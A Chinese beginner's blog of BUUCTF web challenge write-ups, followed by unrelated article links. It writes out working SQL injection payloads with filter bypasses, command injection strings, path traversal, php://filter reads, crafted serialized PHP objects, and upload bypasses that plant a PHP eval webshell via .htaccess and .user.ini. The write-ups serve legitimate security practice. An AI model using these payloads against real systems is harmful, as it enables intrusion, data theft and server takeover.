Buuctf Web题解
写在前面, 本人小白一枚,记录一下web做题过程,大部分为个人理解可能有些地方写的不够明确还请见谅。当然由于刚入手web题,所以有些题会没有思路,这时会参考其他大佬的题解过程。本文会一直更新,由于是第一次写博客,所以并不知道一篇能写多少,不管怎样会一直更新的。
在题解中,可能并没有说清除为什么是这样,什么要这样,其实大部分我也不知道是为什么,但就是这样做,由上所说我是个小白。
如果在文中,出现了只有题目没有题解的情况,是因为我还没有学习与之相关的知识,所以先跳过了,但总会写的。此外,如果有大佬有更好的方法,还请您留在评论区,谢谢!
目录
目录
[极客大挑战 2019]EasySQL
[极客大挑战 2019]Havefun
[HCTF 2018]WarmUp
[ACTF2020 新生赛]Include
[ACTF2020 新生赛]Exec
[GXYCTF2019]Ping Ping Ping
[SUCTF 2019]EasySQL
[强网杯 2019]随便注
[极客大挑战 2019]Secret File
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]Http
[极客大挑战 2019]Knife
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Upload
[极客大挑战 2019]BabySQL
[极客大挑战 2019]BuyFlag
[BJDCTF2020]Easy MD5
[HCTF 2018]admin
[MRCTF2020]你传你??呢
[ZJCTF 2019]NiZhuanSiWei x
[极客大挑战 2019]HardSQL
[MRCTF2020]Ez_bypass
[网鼎杯 2020 青龙组]AreUSerialz
[GXYCTF2019]BabyUpload
[SUCTF 2019]CheckIn
[极客大挑战 2019]EasySQL
进入页面后, 发现是一个登录界面, 先使用万能登录进行尝试
1' or 1=1 #
成功获取flag
[极客大挑战 2019]Havefun
进入页面后, 发现无任何显示, 点击 F12
查看
发现被注释掉的提示, 页面传入一个参数为cat的GET请求, 可以看到, 如果cat==‘dog’ 会输出一个flag格式的输出, 先试试该输出是不是正确的flag, 发现并不正确.
由于页面是一个GET请求, 所以传入参数 cat=dog
发现页面显示出了flag
[HCTF 2018]WarmUp
打开靶场后, 发现页面除了一个表情什么也没有, 直接F12
查看
发现提示 source.php
进入
出现php源码
if语句中
, 有一个$_REQUEST
请求, 获取传入的参数 file
, 判断其是否为空, is_string
判断是否为字符串, emm::checkFile
调用emm类中的checkFile()函数.
在checkFile()函数
中,
whitelist
定义了一个白名单, 里面包含允许被访问的页面地址
isset函数
判断是否为空值,is_string
判断是否是字符串
in_array函数
判断$page
是否在whitelist
中
mb_substr( $str, $start, $length, $encoding )
str 要截取的字符串
start 起始位置
end 结束位置
encoding 网页编码mb_strpos($haystack,$needle,$offset = 0,$encoding): int|false
haystack 要搜索的字符串, 原字符串
needle 要查找的字符串, 子字符串
offset 搜索的起始位置
encoding 网页编码
urldecode
解码url
在了解了以上函数后,就可以分析代码了
当if
语句条件不成立时,输出图片, 可见并不能获得有效的信息, 那么我们就要让if
语句条件成立,满足三个要求:
- file不为空
- file是字符串
- checkFile返回true
前两个条件很好满足, 关键是第三个, 在白名单中除了source.php
之外,还存在一个hint.php
,先查看一下hint.php
发现提示, flag在ffffllllaaaagggg
中
当访问时, 出现
可见直接访问不行,究其原因是因为 checkFile
返回false
,要想访问ffffllllaaaagggg
,我们就要让checkFile
返回True
。
checkFile
要想返回True
有三种途径
第一种途径明显不可行, 看第二种途径,要想实现第二种途径,就要利用白名单中的数据。
发送请求file=source.php?ffffllllaaaagggg
,此时的$_page=source.php,checkFile
会返回True
但是页面并没有任何的显示,这是因为
include $_REQUEST['file']
返回的并没有结果, 也就是说ffffllllaaaagggg
并不在当前目录下,那我们就要扩大范围进行搜索, 最简单的方法就是进入上一级目录进行搜索,所以
file=source.php?../ffffllllaaaagggg
发现还是没有结果, 再次回到上一级目录.
直到file=source.php?../../../../../ffffllllaaaagggg
成功显示出flag.
由于 include $_REQUEST[‘file’]; 语句没有对相对路径进行任何限制或过滤,攻击者可以利用相对路径遍历漏洞(directory traversal vulnerability)来访问系统上的任意文件。在这种情况下,攻击者可以使用相对路径 …/…/…/…/…/ffffllllaaaagggg 来尝试访问位于系统根目录下的 ffffllllaaaagggg 文件。如果该文件存在且可读,那么它的内容将被包含在程序中。
[ACTF2020 新生赛]Include
打开页面发现一个链接, 点击
并没有什么用, 返回主页, F12
进行查看
发现链接格式为: ?file=flag.php
直接使用 伪协议
输入命令
?file=php://filter/read=convert.base64-encode/resource=flag.php
显示出
进行base64解码, 获取到flag
[ACTF2020 新生赛]Exec
由题目可知, 这道题与php命令执行漏洞有关
常见的执行命令函数:
eval() 返回结果有限 shell_exec()
assert() passthru()
system()escapeshellcmd()
exec() pcntl_exec()
输入命令 127.0.0.1;ls
, 发现确实存在命令执行漏洞, 但在此目录下只存在index.php
查看上级目录, 127.0.0.1;ls /;
存在一个flag
, 使用命令127.0.0.1;cd /;cat flag;
得到flag
[GXYCTF2019]Ping Ping Ping
打开页面发现只有一个 /?ip
, 结合题目的 ping ping ping
, 先试着发送一个地址
得到回显, 使用命令127.0.0.1;ls;
查看到存在flag.php
, 使用命令cat flag.php
得到输出, 检查你的空格, 猜测是过滤掉了空格, 使用 $IFS$1
替换空格
提示变为, 检查你的标签, 不知道是什么意思, 我们先查看一下, index.php
, 使用命令cat$IFS$1index.php
发现过滤了许多符号, 和flag这个参数, 使用 base64
绕过, cat$IFS$1ZmxhZw==.php;
发现有回显, 但并没有出现flag
且F12
查看也没有. 换一种方式, 使用参数进行绕过m=flag;cat$IFS$1$m.php;
发现还是不行, 使用参数 + 拼接进行绕过, 还是不行, 使用大写+参数绕过n=ag;cat$IFS$1fl$n.php;
, 点击F12
获取到flag
[SUCTF 2019]EasySQL
[强网杯 2019]随便注
打开靶场,先试一试查询数据库 1' and select database() #
, 发现返回内容
猜测是过滤掉了 select|update|delete|drop|inser|where
这些语句,使用show databases
看一下
发现出现是错误提示,在报错哪里本来有个#
应该会注释掉后面的内容,但是好像并没有注释掉,使用--+
试一试,还是不可以,再此分析,应该是闭合搞错了
输入框中默认是数字,不进行闭合试一试 ,不进行闭合会产生回显,但是并没有输出想要的数据库名,试了下堆叠注入还是不行
使用永真式试了一下,发现多了一些内容(在这一步中,不进行闭合还是默认输出,就试了一下引号闭合,可能是前面分析的有问题)
得到一个’114514‘ ,完全不知道是什么,当成数据库试了试没什么用。
突然想到上面的闭合出现了错误,所以重试了一下堆叠注入。成功显示出数据库。
再使用show tables
查看一下表,发现有两个表
使用 desc
分边查看一下,查看全数字的表时要用反引号包裹起来
再第一个表里,显示出存在flag,但好像没有办法获取到
第二个表中有id和data两列
在正常情况下,我们只有输入1,2会产生回显,观察这个回显,会发现它正好是id+data
,说明正常显示的words
,所以我们只需要篡改表名即可,将存在 flag
的名字篡改为words
表,那么当我输入的时候显示全部信息。
rename table 旧表名 to 新表名
1';rename table `1919810931114514` to words;--+
出现以下情况,应该是注入成功了
查看一下,发现并不行,再分析一下,由于words表中存在两列,id+data,而我们修改后的words表中,表只有一列,也就是flag这一列,当我们进行查询时,可能是无id的原因,所以并不能显示出来,所以我们将flag这一列改为id,使用命令alter table words change flag id varchar(100);
这里需要注意,数据库中好像不允许存在两个相同的表名,所以我们先将words表换一个名字
rename table words to word
,成功修改
使用永真,成功获取flag
[极客大挑战 2019]Secret File
打开靶场,无任何信息提示,点击F12
查看源码
在源码中,有一个a链接
,其链接到一个php中,直接点击进入到php
打开后为一下界面,提示点进去看一看,那就点进去
出现了以下内容,他这里显示没看清,有可能是在页面切换的时候,flag
可能会直接闪过,直接burp
抓包
burp
抓包成功后,一步一步放行,在出现以下内容时,发现一个与flag格式相同的数据,尝试提交一下,在抓包时最好先运行一下,然后再抓包,不会会出现一些没用的东西。
在抓包后,将其发送到repeater
中,点击send
,在右侧出现了一个php,在浏览器中进去
进入secr3t.php
中,发现提示,flag在flag.php
中, 进去看一下
显示如下内容, flag应该在页面中, 但它提示看不见, F12
查看一下源码
源码好像没什么提示, 因为提示就在这里, 而且有一个背景色的属性,尝试将背景改一下
去除背景色后, 发现没什么用
完全没用, 在之前的几步中, 我们在scer3t.php
中可以看到php源码
, 回去分析一下代码.
整体来说, 是scer3t.php
会接受一个$file
, 然后进行判断
stristr函数, 是判断字符在字符串中第一次出现的位置
在这里的php中, 如果敏感的话, 我们就可以发现$file=$_GET['file']
, 与伪协议有关系, 而且传的参数是file, 很大可能与php://filter
流有关系, (做完题回想的话, 在flag.php中提示看不见flag, 应该也算一种提示)
确定到这一步后, 直接
php://filter/read=convert.base64-encode/resource=index.php(文件名)
有东西显示出来, 因为是基于base64, 所有直接base64解码
解码后是一个html, 里面出现了flag, 尝试一下
成功通过
[极客大挑战 2019]LoveSQL
进入靶场后, 发现是一个登录页面, 先试一试 1’ or 1=1 #, 密码任意
尝试后发现, 登录成功, 而且给出了用户名和密码, md5撞库试一试, 尝试了几个网站, 什么结果也没有, 尝试一下十六进制转ASCII码, 发现乱码, 没用。
回到登录页面, 直接使用给的用户名和密码尝试一下,是可以进去的,但好像没啥用
回到登录页面,F12查看一下, 发现一个 sqlmap
才发现,页面顶部有东西,既然是sqlmap, 尝试下sql注入
先判断闭合方式,发现是单引号闭合,使用命令admin' order by 3 #
出现回显,但提示输入用户名和密码,尝试了其他方式,要么提示输入用户名和密码,要么提示密码错误,要么就是,下图这玩意。
看了一下大佬的题解,发现注释不能使用 # ,而要使用#的url编码, %23,完全不知道为什么,好像有的题就可以使用,猜测可能是过滤掉了#,但是在刚开始登录的时候,注释用的就是#而且登录成功。然后尝试了一下,发现不行了。
然后在输入框的注入是可以的,但在url这里又不行,拿burp抓包尝试了一下,发现这里输入#的话会注释掉后面的内容。所以如果直接在url这里输入#的话,它不会将其转为url编码,而是直接识别成了一个注释
如过在url中直接输入#,这里的get请求就只有username而没有password了
使用 --+进行注释也是一个道理。
所以将#url编码为%23,之后就可以回归正轨了
尝试到 order by 4 产生报错, 说明只有三列。
然后判断一下,用户名和密码这两个位置是哪几列,使用联合注入命令
union select 1,2,3,发现回显是2,3列(这里的用户名不要用admin)
直接使用 union select 1,group_concat(schema_name),3 from information_schema.schemata 的话,数据库名都堆起来了,完全看不清
所以使用,union select 1,database(),3 发现当前的数据库是 geek
使用命令查看一下数据库中的表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
发现存在两个表 geekuser,l0ve1ysq1
使用命令查看一下,数据库中的列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()
看来geekuser,l0ve1ysq1两个表的属性都为id+name+passwd
使用命令查看一下,geekuser中的所有id和username,
union select 1,group_concat(id),group_concat(username) from geekuser
发现只有一个,看来 geekuser中存储的刚刚获得用户名admin和其密码
再看一下l0ve1ysq1表,使用命令
union select 1,group_concat(id),group_concat(username) from l0ve1ysq1 %23&password=1
发现第十六列,存储的用户名是falg,所有查看其密码就行
使用命令
union select 1,group_concat(id),group_concat(password) from l0ve1ysq1 %23&password=1
获取到flag
还是使用limit直接查看比较方便
union select 1,id,password from l0ve1ysq1 limit 15,16 %23&password=1
[极客大挑战 2019]Http
打开题目给的链接后,发现是一个介绍页面,老样子F12查看源码
代码有点多,换CTRL+U查看,再氛围这里有个php,进去
http://node5.buuoj.cn:29160/Secret.php,发现了一个新的页面,F12查看,什么也没有,进入页面给的网址中试试
进入后是404,注意到链接这里,https被划掉了,然后题目又是htpp,将https改为http试试
一直卡在了404界面,先不管它,回去找一找其他线索
注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。
对Secert.php抓包,发送到Repeater中
伪造网站访问,referer
然后根据提示,伪造访问的浏览器名
之后伪造本地访问,X-Forwarded-For
最后send一下,获得flag。
**Referer:**浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL
User-Agent: 浏览器表明自己的身份(是哪种浏览器)。
**X-Forwarded-For:**在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。
注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。
对Secert.php抓包,发送到Repeater中
伪造网站访问,referer
然后根据提示,伪造访问的浏览器名
之后伪造本地访问,X-Forwarded-For
最后send一下,获得flag。
**Referer:**浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL
User-Agent: 浏览器表明自己的身份(是哪种浏览器)。
**X-Forwarded-For:**在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。
[极客大挑战 2019]Knife
打开靶机后,注意到 eval 这个关键函数,可能是命令执行漏洞
尝试发送了几个Linux命令,但都没有显示,burp抓包试一试,也没什么用。
上网搜索了一下,web 菜刀,发现是webshell,与木马脚本有关,要用到中国蚁剑,然后再回顾一下 eval($_POST[]);,确实像是一句话木马的形式。
使用蚁剑右键添加数据,连接密码为上传的一句话木马的参数
测试连接,连接成功
添加数据后,进入文件管理中
查看到根目录这里,有一个flag文件
进入后发现flag
[极客大挑战 2019]Upload
根据题目,Upload,可能与文件上传漏洞有关系,打开靶机后,发现要上传文件,应该是文件上传漏洞了。
这里随便上传了一共压缩包,提交后出现提示,Not image!,看来必须要上传图片,这里先写一个一句话木马
用记事本写了个一句话木马,将其后缀改为jpg
这时候,就要用到burp抓包进行篡改了,因为我们要上传的木马后缀应该为php,但题目要求只能上传图片格式,用burp抓包,在其上传过程中,在请求中修改后缀,就可以绕过认证了。
在这里上传后,提交时进行抓包,改完后缀后,Forward通过即可
这里提交后,出现Not php,看来不能使用php的一句话木马
这里尝试了asp后缀,可以看到其显示发生变化,说明在上传文件这一步成功绕过了前端的检测,但后端应该是还存在检测,使用 幻术头 绕过试一试, 文件幻术头,就是在文件前面添加图片对应的标志头部,以绕过后端。
这里在尝试jpg,gif十六进制头的时候,不知道为什么成功不了,将gif十六进制转为字符突然就行了
成功上传
这里又出现问题,不管怎么连都连接不上,URL的地址是上传的木马所在地址,因为是上传文件,一般情况下其地址为upload/xxx,这里用浏览器可以查看。
不知道为什么一直连接不上。这里换了aspx也是一样的问题。
查看了一下题解,用phtml试了一下
GIF89a
成功上传,蚁剑连接一下,ok,还是连接不上。
后面才发现,原来是我拼写错误,将script写成了scrpit,更改后成功连接。
这里直接在根目录找到了flag文件,点进去就是flag了
后缀:
phtm, phtml,phps
[ACTF2020 新生赛]Upload
打开靶场,鼠标移动到灯这里,模糊显示上传文件
这里上传一个php木马,试试
这里提示要上传图片,而且是以jpg,png,gif结尾的图片
这里随便上传了一张图片,然后给出了文件的地址
这里看了下这个路径,发现被禁止了,应该是权限不够
这里尝试,上传php木马,burp抓包绕过试试,将文件后缀改为phtml
成功上传,
根据提示的路径,使用蚁剑连接,成功连接,密码为传入的参数
还是在根目录这里找到flag
[极客大挑战 2019]BabySQL
打开页面,发现是一个登录界面,首先尝试万能密码登录
发现错误提示,提示中少了一个or, 说明or被过滤,使用双写进行绕过,登录成功
对密码进行md5碰撞,没有什么用,进行sql注入,这里使用order by查询列数时,报错只显示了“der 2”说明or 和 by 被过滤,还是使用双写绕过
这里尝试到4时。产生报错,说明只有3列,接下来,判断回显的是哪几列。
这里进行联合注入时,发现union和select被过滤,同样使用双写进行绕过,注入成功后,发现注入点显示2,3,说明产生回显的第二列和第三列。接下来正常进行,判断数据库,表
数据库为 geek, 命令为
1’ ununionion seselectlect 1,database(),3 %23 &password=1
联合注入查询表时,产生错误,where被过滤,from被过滤,同时or在前面已经判断被过滤了
使用命令:
1’ ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 & password=1
查询到两个表,b4bsql,geekuser
接下来,查询表中的列,查询到b4bsql如下,id+nam+pass,命令:
uniounionn sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’
这里查询,username和password,可以看到在最后一列有flag,直接提交即可,命令
uniounionn sselectelect 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql
看着不方便,使用limit进行限制,命令
uniounionn sselectelect 1,username,passwoorrd frfromom b4bsql limit 7,1
[极客大挑战 2019]BuyFlag
打开靶场,点击右上角的MENU
发现,flag需要钱
f12进行源码分析,发现这里有一个php,参数为password,注释提示请求moeny和password,password为404的同时且不能为数字,这里的是==,弱类型比较,直接404a,即可
同时需要是GUIT的学生
burp抓包,get改为post请求,将user改为GUIT,点击发送
页面好像没有变化,因为刚开始的cookie为0(false),改为1试试
改成1后,显示是GUIT的用户,接下来请求moeny和password即可
这里显示数字太长,将其改为科学计数法,1e9
成功获取flag
[BJDCTF2020]Easy MD5
[HCTF 2018]admin
打开靶场,发现是个登录页面,尝试永真登录
产生内部错误,根据题目admin,初步思路是登录到admin这个用户。
这里随便注册了一个用户,发现右边有更改密码的一个选项
进去后,发现是直接进行密码更改,所以思路为,在注册一个用户时使用一些特别的符号,以绕过后端的sql语句,让在其登录后,在修改密码这一步,改的的admin的密码。
先假设修改密码的sql语句如下:
update users
set password=”***“
where user=***
如果要修改admin的用户密码,那么在注册时,注册的用户名为 admin#,则修改语句就会变为
update users
set password=”***“
where user=admin #
从而达到修改admin密码。
尝试时,成功登录,获得flag
[MRCTF2020]你传你??呢
靶场如下图所示,根据题目和文件上传,大概率是上传木马,然后使用蚁剑连接
这里上传了一个phtml的一句话木马,好像行不通,被过滤了
尝试上使用图片一句话,同样的问题
这里尝试到asp后缀时,成功上传
成功上传后,显示出了文件路径
这里不知道为什么蚁剑连不上,换了aspx也是,查看题解,利用.htaccess漏洞
<FilesMatch “one.jpg”>
SetHandler application/x-httpd-php
将其放在文本文件中,另存为全部文件,上传即可,上过过程中使用burp进行抓包,利用Content-Type: image/jpeg 来绕过检测
成功上传后,在上传一个一句话木马,此一句话木马明明必须和.htaccess中FilesMatch后的相对应,之后利用蚁剑进行连接即可
在网站根目录处,找到flag
[ZJCTF 2019]NiZhuanSiWei x
可以看到,该php中需要get三个请求参数,text,file,password。进行代码审计在第一个if语句中,isset()判断text是否为空值, file_get_contents()读取文件, 看到这个函数应该是与php伪协议有关系。
这里用到php://input
协议,post请求内容中写入要读取文件的内容,使用burp进行抓包,进行伪协议,操作点如下图所示,当出现右图welcome to the zjctf表明第一层已经进入
继续查看php代码,在第二个if语句中,有一个注释useless.php
和include()
两个点, 文件包含漏洞以及伪协议,使用命令
file=php://filter/read=convert.base64-encode/resource=useless.php
成功显示出base64加密后的数据
base64解码后, 显示出php代码
在原本的php代码中, 有一个关键点unserialize()
函数, 反序列化。在得到的php代码中,有一个魔术方法__tostring()利用这一点,按照反序列化的步骤,进行序列化,得到
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
这里file要改为useless.php
,先前使用伪协议是因为要获得该php中的内容,这里要更改是因为我们要调用useless.php
中代码,这里成功得到后,使用F12查看源码,显示出flag
[极客大挑战 2019]HardSQL
打开靶场后,还是一个登录界面,先尝试1' or 1=1 %23
没什么用,尝试sql注入,堆叠注入,时间盲注,报错均返回同一页面。那么猜测可能是有些符号被过滤了,尝试判断一下,使用fuzz进行测试
首先,使用burp进行抓包,发送到Intruder中,设置name为可变量,在该页面的右侧有添加§的按钮
在进行过滤前,先要掌握,如何判断是否被过滤,首先进行手动的查看, 如果我们正常输入,他给我们的提示是
但是当我们输入的存在可能的被过滤的符号时,他给的提示是
如上所示,我们的到第二幅图的提示消息,则说明这个关键字是被过滤掉的,接下来我们继续进行fuzz测试
在Payloads中加载字典,如何点击右上角的Start Attack
得到结果后,点击一条数据,我们可以在Response中的Render上看到可视化的信息
由此可以判断length=784,则说明该关键字被过滤掉了。这道题被过滤的关键字还是很多的。
查询一下被过滤的关键字,我们可以发现 or是没有被过滤掉的,但是=被过滤,所以使用永真式,进行登录时,是不可行的。但是在过滤的关键字中,我们可以发现,show
是没有被过滤掉的,但是使用堆叠注入时,确实显示有过滤的符号,
那么只有空格被过滤才会出现这种情况。那么绕过空格过滤,使用/**/或者(),在过滤的关键字中,/**/是被过滤掉的,所以我们使用()来绕过过滤。
如果对show database;进行()绕过的话,会有语法问题,有待解决。
-----------------------------------------------------------------------------------------------------
()绕过过滤的前提是,子查询,只有子查询才可以使用()绕过空格,而show database;是系统管理命令,并表示一个子查询的语句,所以这里不能使用()来绕过。
----------------------------------------------------------------------------------------------------
这里使用select查看当前数据库,但是他返回如下情况。
猜测是不存在回显,既然无法回显,那只能使用时间和报错,但是时间注入的关键字sleep和benchmark被过滤,那这里使用报错注入,构造如下语句
1'or(updatexml(1,concat(0x7e,database()),1))%23
出来了,可以看到这里的数据库为,geek
接下来就好办了,按照以往的步骤就行,查表,查名,查数据。
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=14
的到表名,H4rDsq1
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=14
得到字段,id,username,password
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=14
可以发现字段password
下存的应该就是flag了,但是显示不全,这里要搭配使用left()和right()函数,格式为
left/right(字段,长度)
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=14
得到后半段flag。
[MRCTF2020]Ez_bypass
打开靶场, 初步查看是PHP代码, 题目提示F12
下的有东西
进去什么也没有发现, 那么就分析一下PHP代码, 这里使用CTRL+U
比较方便查看
初步查看代码后, 发现要想获得flag, 必须绕过四层
接下来我们一层一层进去, 在第一层中, 会GET两个参数id
和gg
if (md5($id) === md5($gg) && $id !== $gg)
这里将其转为md5后强相等, 但是两个参数不能完全相等, 也就是说id和gg在满足md5相等的情况下, 其类型和内容不能相等, 只有这样才能绕过第一层
这里绕过很简单, 由于md5加密时,会将原始数据转化为固定长度的字符串,生成一个128位散列值,也就是说他会做类似强制类型转换的操作.
一个数字,一个字符串,这样md5后的结果是相等的. 但是这里是使用get的,它接收的类型都会变为String
这里可以使用fastcoll工具生成两个不相等但md5相等的字符串,也可以使用数组进行绕过
构造语句
**/?id[]=a&gg[]=a**
可以观察到, 绕过了第一层
if (!is_numeric($passwd))
**is_numeric()**这个函数是判断是否是数字的,也就是说我们只要传入的passwd参数不是一个数字,那么就可以绕过这一层
构造语句为
可以看到成功绕过
接下来的一层是一个弱相等
构造语句
得到结果
[网鼎杯 2020 青龙组]AreUSerialz
又是一道代码题, 但是根据题目以及unserialize()
可以猜到与反序列化有关
继续查看代码,可以查到,在FileHandler类中的read函数,有一个file_get_contents()
函数,看到这个函数首先联想到php伪协议,同时类中有read和write两个函数,由op的值进行操控,因为是要获取flag,所以这里直接让op=2,调用read函数
构造语句:
O:11:“FileHandler”:3{s:5:“*op”;i:2;s:11:“*filename”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;s:10:“*content”;N;}
得到如下内容
查看代码发现,这里给op赋值好像没有成功,无论是给1还是2,都是这样。
这里再回到代码,因为是反序列化的题目,所以我这里直接没有看is_valid()函数,但结果不正确,所以回来分析一下这个函数
明显可以看到,$obj =unserialize()
,要成功运行,is_valid()函数必须返回true,而is_valid()函数里是一个循环,可以看到它会一个一个进行遍历,只要存在ascii码不在32和125之间就会返回flase,答案呼之既出了。
但这里在检查时,发现没有超出范围的数字,这里回看了以下以前反序列化的结果
发现在本题构造的语句中,多了个*,可能是问题所在,将语句修改一下,修改时发现了一个问题,它的长度和字符串的长度不一致?
就算加上*长度也才是3,但这里给了5。查看了一下题解,发现这里面有隐藏字符,F12
才能看出来
回归正轨,现在的目的很明确了,修改长度和字符即可,结果语句为
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
得到结果,base64解码
获得flag
[GXYCTF2019]BabyUpload
打开靶场,发现是一个上传文件的,大概率就是文件上传漏洞了
直接上传一个php的一句话木马
这里提示后缀名不能有ph,大小写也无法绕过,那么这里上传asp的一句话木马,没有用
这里上传图片马也没有用,上传正常jpg,png图片也不行
那这里抓包绕过一下
成功上传,接下来就是使用蚁剑了
虽然上传成功,但是蚁剑连接不上
那这里使用.htaccess漏洞,绕过
上传成功
接下来上传,jpg,还是绕过
上传成功
使用蚁剑连接,还是连不上。。。。。。。
重新上传,发现上传不上去了
查看题解,发现有的能上传,有的使用php木马的另一种写法
<script language="php">eval($_REQUEST['shell']);</script>
这里尝试了一下,发现可以上传
蚁剑连接也成功了
这里在根目录下,可以查找到flag
在上传.htaccess后,上传php时,它一直显示
这里尝试了一下,发现是在后端中,它会检测内容,当包含 <php时就会产生这个提示,在上上传成功的一次是,可能是因为偶然性,后端在检测内容时,可能会存在一时的“疏忽”,所以当时上传成功,但是不知道为什么无法使用蚁剑连接,是因为删除了吗?这里只是我的猜测。
这里使用aspx也是一个问题
[SUCTF 2019]CheckIn
又是一道文件上传的题目
还是先上传php木马,提示非法的后缀
绕过一下,抓包处理,发现还是不行,直接上传.htaccess
这里上传是,提示不是图片,文件幻术头绕过
上传,接下来上传one.jpg
这里提示不能有<,那就换另一种写法,同时加入幻术头
上传成功,这里可以看到存在.htaccess和one.jpg
注意:这里上传的文件不会一直存储,到一定时间它会删除文件
但是这里使用蚁剑连接,连不上, 换另外一种方法, 由于这里本身存在一个php可执行文件, 所以可以使用.user.ini漏洞
上传漏洞内容
auto_prepend_file=one.jpg
所有php文件自动包含one.jpg文件
连接时,使用的对象名是存在的可执行文件,连接对象是存在的可执行文件
注意: 这里要使用文件幻术头来绕过后端的过滤
上传成功
使用蚁剑连接, 这里连接的对象是存在php可执行文件,连接成功
终端输入命令, 可查看到flag
相关文章:
Buuctf Web题解
写在前面, 本人小白一枚,记录一下web做题过程,大部分为个人理解可能有些地方写的不够明确还请见谅。当然由于刚入手web题,所以有些题会没有思路,这时会参考其他大佬的题解过程。本文会一直更新,由于是第一次…...
Linux 支持多个spi-nor flash
1. 需求 通常在嵌入式开发过程中可能会遇到需要再同一个SPI总线上挂载多个spi nor flash才能满足存储需求。 2. 技术简介 对于spi-nor flash驱动通常不需要驱动开发人员手搓,一般内核会有一套固定的驱动,而且走的是内核的MTD子系统那一套,市…...
APP、小程序对接聚合广告平台,有哪些广告变现策略?
开发者对接聚合广告平台,可以让自身流量价值最大化,获得更多的广告曝光机会,对接单一的广告联盟容易造成广告填充不足,收益不稳定的问题。#APP广告变现# APP开发者根据应用的生命周期、用户特征和产品定位,选择最适合…...
RPC设计--应用层缓冲区,TcpBuffer
为什么需要应用层的buffer 为了方便数据处理,从fd上直接读写然后做包的组装、拆解不够方便方便异步发送,将数据写到应用层buffer后即可返回,让epoll即event_loop去异步发送。提高发送效率,多个小包可合并发送 buffer 设计 可以…...
微服务的问题
1.创建maven项目 然后配置对应的maven地址 2.创建父工程 删掉其中的src文件 在父pom中进行版本依赖和管理 如下图所示 3.在子文件中进行添加依赖 然后刷新maven进行下载...
开源模型应用落地-知识巩固-如何正确搭建生产级AI服务(一)
一、前言 将大语言模型集成至vllm,能够显著实现推理加速,让模型在处理任务时更加高效快捷,极大地提升了响应速度,减少用户等待时间。具体而言,一方面它能大幅提高吞吐量,vLLM 借助 PagedAttention巧妙地对attention中缓存的张量进行高效管理,从而达成比 HuggingFace Tra…...
Uniapp Android SpringBoot3 对接支付宝支付(最新教程附源码)
Uniapp Android SpringBoot3 对接支付宝支付(最新教程附源码) 1、效果展示2、后端实现2.1 引入支付宝SDK依赖 pom.xml2.2 配置 application.yml2.3 支付宝相关代码2.3.1 AlipayConfig.java2.3.2 ZfbPayConfig.java2.3.3 支付接口2.3.4 支付回调处理接口&…...
SpringSpringBoot常用注解
Spring 和 Spring Boot 是 Java 开发中广泛使用的框架,它们提供了许多注解来简化配置和开发过程。以下是一些 Spring 和 Spring Boot 中常用的注解: Spring 常用注解 Component 用于标注一个类为 Spring 容器的一个组件,Spring 会自动…...
【机器人】振动分析和控制工具之Bode图
Bode 图完整介绍 Bode 图由两个部分组成: 幅值图 (Magnitude Plot):描述系统对不同频率输入信号的增益大小(幅值响应)。相位图 (Phase Plot):描述系统输出信号相对于输入信号的相位差。 Bode 图的横轴是频率&#x…...
基于SpringBoot的“外卖点餐系统”的设计与实现(源码+数据库+文档+PPT)
基于SpringBoot的“外卖点餐系统”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:SpringBoot 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 系统功能图 用户功能界面 订单管理界面 配送单管理…...
第十七章 使用 MariaDB 数据库管理系统
1. 数据库管理系统 数据库是指按照某些特定结构来存储数据资料的数据仓库。在当今这个大数据技术迅速崛起的年代,互联网上每天都会生成海量的数据信息,数据库技术也从最初只能存储简单的表格数据的单一集中存储模式,发展到了现如今存储海量…...
sql多表联查图文
内连接(INNER JOIN) 语法: SELECT 列名 FROM 表1 INNER JOIN 表2 ON 表1.列名 表2.列名;示例: SELECT 列名 FROM 表1 LEFT JOIN 表2 ON 表1.列名 表2.列名;左外连接(LEFT JOIN) 语法 SELECT 列名 FROM…...
网络安全——防火墙
基本概念 防火墙是一个系统,通过过滤传输数据达到防止未经授权的网络传输侵入私有网络,阻止不必要流量的同时允许必要流量进入。防火墙旨在私有和共有网络间建立一道安全屏障,因为网上总有黑客和恶意攻击入侵私有网络来破坏,防火…...
单独测试 pyautogui 的鼠标点击功能,确保它能够在当前环境中正常工作,鼠标自动点击的录制回放功能
